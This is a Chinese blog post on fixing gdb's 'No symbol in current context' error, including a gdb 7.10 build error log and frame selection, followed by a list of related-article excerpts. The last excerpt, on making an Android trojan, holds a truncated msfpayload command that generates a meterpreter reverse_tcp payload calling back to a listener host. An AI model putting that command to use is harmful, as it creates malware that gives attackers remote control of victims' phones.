最近,在debug core的时候,发现p 变量的时候提示“No symbol "*" in current context”,我们的代码使用-g编译的,经查有可能是下列几个原因或解决方法:

  1. 使用add-symbol-file将foo.o文件的符号添加至二进制文件中,如下:
    (gdb) add-symbol-file XXXX.o     #提示The address where xxx has been loaded is missing,所以应该还有其他原因
  2. gdb的版本低于gcc的版本,环境中使用的gcc是4.8.5,gdb是7.6.2,gdb发布之间早于gcc,所以升级gdb到7.10,兼容性可参考https://www.cnblogs.com/zhjh256/p/9367852.html

注:make gdb的时候可能会出现/gdb-7.10/missing: line 81: makeinfo: command not found,makeinfo在textinfo中

yum install texinfo

可能会提示zlib 1.2.3.3缺少,baidu搜下应该就可以解决。

编译7.10过程中,出现异常如下:

ser-unix.c:119:43: warning: 'struct hardwire_ttystate' declared inside parameter list [enabled by default]
get_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c:119:1: error: conflicting types for 'get_tty_state'
get_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c:88:12: note: previous declaration of 'get_tty_state' was here
static int get_tty_state (struct serial *scb,
^
ser-unix.c: In function 'get_tty_state':
ser-unix.c:146:1: warning: no return statement in function returning non-void [-Wreturn-type]
}
^
ser-unix.c: At top level:
ser-unix.c:149:43: warning: 'struct hardwire_ttystate' declared inside parameter list [enabled by default]
set_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c:149:1: error: conflicting types for 'set_tty_state'
set_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c:90:12: note: previous declaration of 'set_tty_state' was here
static int set_tty_state (struct serial *scb,
^
ser-unix.c: In function 'set_tty_state':
ser-unix.c:176:1: warning: no return statement in function returning non-void [-Wreturn-type]
}
^
ser-unix.c: In function 'hardwire_get_tty_state':
ser-unix.c:183:56: error: dereferencing pointer to incomplete type
state = (struct hardwire_ttystate *) xmalloc (sizeof *state);
^
ser-unix.c:185:3: warning: passing argument 2 of 'get_tty_state' from incompatible pointer type [enabled by default]
if (get_tty_state (scb, state))
^
ser-unix.c:119:1: note: expected 'struct hardwire_ttystate *' but argument is of type 'struct hardwire_ttystate *'
get_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c: In function 'hardwire_copy_tty_state':
ser-unix.c:199:56: error: dereferencing pointer to incomplete type
state = (struct hardwire_ttystate *) xmalloc (sizeof *state);
^
ser-unix.c:200:3: error: dereferencing pointer to incomplete type
*state = *(struct hardwire_ttystate *) ttystate;
^
ser-unix.c:200:12: error: dereferencing pointer to incomplete type
*state = *(struct hardwire_ttystate *) ttystate;
^
ser-unix.c: In function 'hardwire_set_tty_state':
ser-unix.c:212:3: warning: passing argument 2 of 'set_tty_state' from incompatible pointer type [enabled by default]
return set_tty_state (scb, state);
^
ser-unix.c:149:1: note: expected 'struct hardwire_ttystate *' but argument is of type 'struct hardwire_ttystate *'
set_tty_state (struct serial *scb, struct hardwire_ttystate *state)
^
ser-unix.c: In function 'hardwire_noflush_set_tty_state':
ser-unix.c:220:28: error: storage size of 'new_state' isn't known
struct hardwire_ttystate new_state;
^
ser-unix.c:225:15: error: dereferencing pointer to incomplete type
new_state = *(struct hardwire_ttystate *) new_ttystate;
^
ser-unix.c: In function 'hardwire_drain_output':
ser-unix.c:335:1: warning: no return statement in function returning non-void [-Wreturn-type]

有个帖子说“编译过程中遇到莫名奇妙的报错,例如:ser-unix.c:118:1: error: conflicting types for ‘get_tty_state’,清理干净configure目录,使用root用户安装就好”,试了下不行。

换了一台测试服务器,直接编译,没有报错。

注:上下文中没有符号这个问题除了可能和gdb版本有关系外,还有可能我们要查看的变量的上下文不在给定的栈帧中,也就是不在相关的函数上下文,此时要通过frame N进入指定的帧,如下:

参考:

https://blog.csdn.net/hanchengxi/article/details/50380819

https://blog.csdn.net/sinat_24820331/article/details/54579913

The address where a.out.debug has been loaded is missing以及No symbol "*" in current context原因与解决方法的更多相关文章

  1. [Python Debug]Kernel Crash While Running Neural Network with Keras|Jupyter Notebook运行Keras服务器宕机原因及解决方法

    最近做Machine Learning作业,要在Jupyter Notebook上用Keras搭建Neural Network.结果连最简单的一层神经网络都运行不了,更奇怪的是我先用iris数据集跑了 ...

  2. Play! 1.x Eclipse Debug调试报错解决方法记录

    使用Play eclipsify xxxx[项目路径],可以把play new xxxx[项目路径]创建的工程生成为Eclipse的项目 但是在Debug AS 调试的时候,会报以下错误 Error ...

  3. Jenkins启动时报错:java.net.BindException: Address already in use: bind 解决方法

    下载jenkins.war包后,进入Jenkins.war包目录下,运行java -jar jenkins.war时报端口被占用的错误:java.net.BindException: Address ...

  4. Address already in use的解决方法

    当客户端保持着与服务器端的连接,这时服务器端断开,再开启服务器时会出现: Address already in usr. 可以用netstat -anp | more 可以看到客户端还保持着与服务器的 ...

  5. Myeclipse在启动Tomcat服务器的时候总是进入debug视图的解决方法

    最近调试程序,由于出现过一些错误,在调试的时候,更改过一些东西,但是后来在myeclipse下启动Tomcat服务器的时候,自动的跳入到debug视图了(以前是一启动Tomcat服务器后,直接就加载t ...

  6. log4j中Spring控制台输出Debug级信息过多解决方法

    log4j中Spring控制台输出Debug级信息过多解决方法 >>>>>>>>>>>>>>>>> ...

  7. 关于Ubuntu12.04下code::blocks不能使用debug解决方法

    问题描述:   系统:ubuntu 12.04   code::blocks版本:10.05   问题现象:debug->start        之后出现:warning: GDB: Fail ...

  8. Window8.1 64位无法使用Debug命令的解决方法[附牛人代码]

    偶然看到网上一篇文章,讲的是世界黑客编程大赛第一名的一个很酷的程序,大小仅有4KB,使用debug命令执行. 悲催的是win8.1的debug命令不能使用. 错误例如以下: 解决方法例如以下: 1. ...

  9. OpenCV程序在Debug时出现「PDB文件无法加载」的一个解决方法

    这几天毕设要用到OpenCV,按照网上的教程来搭建开发环境. 用的是OpenCV 3.0 beta + Visual Studio Community 2013.我的系统64位是Win 8.1,但在加 ...

随机推荐

  1. MJExtension代码解释

    Runtime 是什么? objective-C会把函数调用的转换为消息发送,objc_MsgSend(receiver, msg), 注意,recevier指的是消息的接受者.那么self, sup ...

  2. [xdoj]1299&1300朱神的烦恼 朱神的序列

    http://acm.xidian.edu.cn/problem.php?id=1299 1.第一道题简单的很,数据范围最多只有1e4,对于数组中的每一个元素进行两个for循环,i=0;i<n; ...

  3. jmeter 发送加密请求 beanshell断言 线程组间传递参数

    原文地址https://www.cnblogs.com/wnfindbug/p/5817038.html 最近在做http加密接口,请求头的uid参数及body的请求json参数都经过加密再发送请求, ...

  4. Jenkins自动化构建(一)执行selenium+python脚本

    Jenkins执行python写的selenium自动化脚本,通常会遇到,执行打不开浏览器,查看jenkins构建Console Output控制台输出信息,发现脚本是执行了的,但是出错了,打开浏览器 ...

  5. python subprocess中ssh命令的特殊性

    今天尝试使用python 的 subprocess 模块 使用类似如下语句: p=subprocess.Popen(['ssh','root@localhost'],stdout=subprocess ...

  6. idea软件上设置爱彼迎字体

  7. idea创建java的web项目

    2. 3. 4. 5. 6. 步骤八: 点击那个倒立的三角形,然后点击Edit Configurations; 步骤八: 步骤九:配置tocat服务器 步骤十:哎,发现,我怎么就只有一个选项呀,art ...

  8. 《大话设计模式》c++实现 之工厂模式

    工厂模式 工厂模式(Factory Pattern)是 Java 中最常用的设计模式之一.这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式. 在工厂模式中,我们在创建对象时不会对客户端 ...

  9. python爬虫 ----文章爬虫(合理处理字符串中的\n\t\r........)

    import urllib.request import re import time num=input("输入日期(20150101000):") def openpage(u ...

  10. kali linux android木马(内网+外网)

    1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...